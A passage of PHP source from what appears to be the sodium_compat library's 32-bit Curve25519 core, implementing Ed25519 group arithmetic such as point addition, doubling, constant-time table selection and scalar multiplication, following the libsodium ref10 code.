$f[7]->subInt32($g[7]), $f[8]->subInt32($g[8]), $f[9]->subInt32($g[9]) ) ); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_add( ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YplusX); $r->Y = self::fe_mul($r->Y, $q->YminusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215 * @param string $a * @return array * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayOffset */ public static function slide($a) { if (self::strlen($a) < 256) { if (self::strlen($a) < 16) { $a = str_pad($a, 256, '0', STR_PAD_RIGHT); } } /** @var array $r */ $r = array(); for ($i = 0; $i < 256; ++$i) { $r[$i] = (int) (1 & ( self::chrToInt($a[$i >> 3]) >> ($i & 7) ) ); } for ($i = 0;$i < 256;++$i) { if ($r[$i]) { for ($b = 1;$b <= 6 && $i + $b < 256;++$b) { if ($r[$i + $b]) { if ($r[$i] + ($r[$i + $b] << $b) <= 15) { $r[$i] += $r[$i + $b] << $b; $r[$i + $b] = 0; } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) { $r[$i] -= $r[$i + $b] << $b; for ($k = $i + $b; $k < 256; ++$k) { if (!$r[$k]) { $r[$k] = 1; break; } $r[$k] = 0; } } else { break; } } } } } return $r; } /** * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_frombytes_negate_vartime($s) { static $d = null; if (!$d) { $d = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[9]) ) ); } /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */ # fe_frombytes(h->Y,s); # fe_1(h->Z); $h = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3( self::fe_0(), self::fe_frombytes($s), self::fe_1() ); # fe_sq(u,h->Y); # fe_mul(v,u,d); # fe_sub(u,u,h->Z); /* u = y^2-1 */ # fe_add(v,v,h->Z); /* v = dy^2+1 */ $u = self::fe_sq($h->Y); /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */ $v = self::fe_mul($u, $d); $u = self::fe_sub($u, $h->Z); /* u = y^2 - 1 */ $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */ # fe_sq(v3,v); # fe_mul(v3,v3,v); /* v3 = v^3 */ # fe_sq(h->X,v3); # fe_mul(h->X,h->X,v); # fe_mul(h->X,h->X,u); /* x = uv^7 */ $v3 = self::fe_sq($v); $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */ $h->X = self::fe_sq($v3); $h->X = self::fe_mul($h->X, $v); $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */ # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */ # fe_mul(h->X,h->X,v3); # fe_mul(h->X,h->X,u); /* x = uv^3(uv^7)^((q-5)/8) */ $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */ $h->X = self::fe_mul($h->X, $v3); $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */ # fe_sq(vxx,h->X); # fe_mul(vxx,vxx,v); # fe_sub(check,vxx,u); /* vx^2-u */ $vxx = self::fe_sq($h->X); $vxx = self::fe_mul($vxx, $v); $check = self::fe_sub($vxx, $u); /* vx^2 - u */ # if (fe_isnonzero(check)) { # fe_add(check,vxx,u); /* vx^2+u */ # if (fe_isnonzero(check)) { # return -1; # } # fe_mul(h->X,h->X,sqrtm1); # } if (self::fe_isnonzero($check)) { $check = self::fe_add($vxx, $u); /* vx^2 + u */ if (self::fe_isnonzero($check)) { throw new RangeException('Internal check failed.'); } $h->X = self::fe_mul( $h->X, ParagonIE_Sodium_Core32_Curve25519_Fe::fromIntArray(self::$sqrtm1) ); } # if (fe_isnegative(h->X) == (s[31] >> 7)) { # fe_neg(h->X,h->X); # } $i = self::chrToInt($s[31]); if (self::fe_isnegative($h->X) === ($i >> 7)) { $h->X = self::fe_neg($h->X); } # fe_mul(h->T,h->X,h->Y); $h->T = self::fe_mul($h->X, $h->Y); return $h; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_madd( ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yplusx); $r->Y = self::fe_mul($r->Y, $q->yminusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add(clone $p->Z, clone $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_msub( ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yminusx); $r->Y = self::fe_mul($r->Y, $q->yplusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add($p->Z, $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError */ public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); $r->T = self::fe_mul($p->X, $p->Y); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError */ public static function ge_p2_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2( self::fe_0(), self::fe_1(), self::fe_1() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_p2_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_sq($p->X); $r->Z = self::fe_sq($p->Y); $r->T = self::fe_sq2($p->Z); $r->Y = self::fe_add($p->X, $p->Y); $t0 = self::fe_sq($r->Y); $r->Y = self::fe_add($r->Z, $r->X); $r->Z = self::fe_sub($r->Z, $r->X); $r->X = self::fe_sub($t0, $r->Y); $r->T = self::fe_sub($r->T, $r->Z); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_p3_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P3( self::fe_0(), self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Cached * @throws SodiumException * @throws TypeError */ public static function ge_p3_to_cached(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { static $d2 = null; if ($d2 === null) { $d2 = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[9]) ) ); } /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d2 */ $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached(); $r->YplusX = self::fe_add($p->Y, $p->X); $r->YminusX = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_copy($p->Z); $r->T2d = self::fe_mul($p->T, $d2); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 */ public static function ge_p3_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2( $p->X, $p->Y, $p->Z ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_p3_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_p3_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { $q = self::ge_p3_to_p2($p); return self::ge_p2_dbl($q); } /** * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError */ public static function ge_precomp_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param int $b * @param int $c * @return int * @psalm-suppress MixedReturnStatement */ public static function equal($b, $c) { $b0 = $b & 0xffff; $b1 = ($b >> 16) & 0xffff; $c0 = $c & 0xffff; $c1 = ($c >> 16) & 0xffff; $d0 = (($b0 ^ $c0) - 1) >> 31; $d1 = (($b1 ^ $c1) - 1) >> 31; return ($d0 & $d1) & 1; } /** * @internal You should not use this directly from another application * * @param string|int $char * @return int (1 = yes, 0 = no) * @throws SodiumException * @throws TypeError */ public static function negative($char) { if (is_int($char)) { return $char < 0 ? 1 : 0; } /** @var string $char */ $x = self::chrToInt(self::substr($char, 0, 1)); return (int) ($x >> 31); } /** * Conditional move * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError */ public static function cmov( ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u, $b ) { if (!is_int($b)) { throw new InvalidArgumentException('Expected an integer.'); } return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_cmov($t->yplusx, $u->yplusx, $b), self::fe_cmov($t->yminusx, $u->yminusx, $b), self::fe_cmov($t->xy2d, $u->xy2d, $b) ); } /** * @internal You should not use this directly from another application * * @param int $pos * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedArgument */ public static function ge_select($pos = 0, $b = 0) { static $base = null; if ($base === null) { $base = array(); foreach (self::$base as $i => $bas) { for ($j = 0; $j < 8; ++$j) { $base[$i][$j] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][9]) ) ) ); } } } if (!is_int($pos)) { throw new InvalidArgumentException('Position must be an integer'); } if ($pos < 0 || $pos > 31) { throw new RangeException('Position is out of range [0, 31]'); } $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); $t = self::ge_precomp_0(); for ($i = 0; $i < 8; ++$i) { $t = self::cmov( $t, $base[$pos][$i], -self::equal($babs, $i + 1) ); } $minusT = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_copy($t->yminusx), self::fe_copy($t->yplusx), self::fe_neg($t->xy2d) ); return self::cmov($t, $minusT, -$bnegative); } /** * Subtract two group elements. * * r = p - q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_sub( ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YminusX); $r->Y = self::fe_mul($r->Y, $q->YplusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * Convert a group element to a byte string. * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A * @param string $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public static function ge_double_scalarmult_vartime( $a, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A, $b ) { /** @var array $Ai */ $Ai = array(); static $Bi = array(); /** @var array $Bi */ if (!$Bi) { for ($i = 0; $i < 8; ++$i) { $Bi[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][9]) ) ) ); } } for ($i = 0; $i < 8; ++$i) { $Ai[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached( self::fe_0(), self::fe_0(), self::fe_0(), self::fe_0() ); } /** @var array $Ai */ # slide(aslide,a); # slide(bslide,b); /** @var array $aslide */ $aslide = self::slide($a); /** @var array $bslide */ $bslide = self::slide($b); # ge_p3_to_cached(&Ai[0],A); # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t); $Ai[0] = self::ge_p3_to_cached($A); $t = self::ge_p3_dbl($A); $A2 = self::ge_p1p1_to_p3($t); # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u); # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u); # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u); # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u); # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u); # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u); # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u); for ($i = 0; $i < 7; ++$i) { $t = self::ge_add($A2, $Ai[$i]); $u = self::ge_p1p1_to_p3($t); $Ai[$i + 1] = self::ge_p3_to_cached($u); } # ge_p2_0(r); $r = self::ge_p2_0(); # for (i = 255;i >= 0;--i) { # if (aslide[i] || bslide[i]) break; # } $i = 255; for (; $i >= 0; --$i) { if ($aslide[$i] || $bslide[$i]) { break; } } # for (;i >= 0;--i) { for (; $i >= 0; --$i) { # ge_p2_dbl(&t,r); $t = self::ge_p2_dbl($r); # if (aslide[i] > 0) { if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_add(&t,&u,&Ai[aslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_add( $u, $Ai[(int) floor($aslide[$i] / 2)] ); # } else if (aslide[i] < 0) { } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_sub(&t,&u,&Ai[(-aslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_sub( $u, $Ai[(int) floor(-$aslide[$i] / 2)] ); } /** @var array $Bi */ # if (bslide[i] > 0) { if ($bslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_madd(&t,&u,&Bi[bslide[i]/2]); $u = self::ge_p1p1_to_p3($t); /** @var int $index */ $index = (int) floor($bslide[$i] / 2); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */ $thisB = $Bi[$index]; $t = self::ge_madd($t, $u, $thisB); # } else if (bslide[i] < 0) { } elseif ($bslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_msub(&t,&u,&Bi[(-bslide[i])/2]); $u = self::ge_p1p1_to_p3($t); /** @var int $index */ $index = (int) floor(-$bslide[$i] / 2); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */ $thisB = $Bi[$index]; $t = self::ge_msub($t, $u, $thisB); } # ge_p1p1_to_p2(r,&t); $r = self::ge_p1p1_to_p2($t); } return $r; } /** * @internal You should not use this directly from another application * * @param string $a * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand * @throws SodiumException * @throws TypeError */ public static function ge_scalarmult_base($a) { /** @var array $e */ $e = array(); $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); for ($i = 0; $i < 32; ++$i) { /** @var int $dbl */ $dbl = (int) $i << 1; $e[$dbl] = (int) self::chrToInt($a[$i]) & 15; $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15; } /** @var int $carry */ $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } /** @var array $e */ $e[63] += (int) $carry; $h = self::ge_p3_0(); for ($i = 1; $i < 64; $i += 2) { $t = self::ge_select((int) floor($i / 2), (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } $r = self::ge_p3_dbl($h); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $h = self::ge_p1p1_to_p3($r); for ($i = 0; $i < 64; $i += 2) { $t = self::ge_select($i >> 1, (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } return $h; } /** * Calculates (ab + c) mod l * where l = 2^252 + 27742317777372353535851937790883648493 * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @param string $c * @return string * @throws SodiumException * @throws TypeError */ public static function sc_muladd($a, $b, $c) { $a0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 0, 3))); $a1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5)); $a2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2)); $a3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7)); $a4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4)); $a5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1)); $a6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6)); $a7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3)); $a8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 21, 3))); $a9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5)); $a10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2)); $a11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($a, 28, 4)) >> 7)); $b0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 0, 3))); $b1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5)); $b2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2)); $b3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & 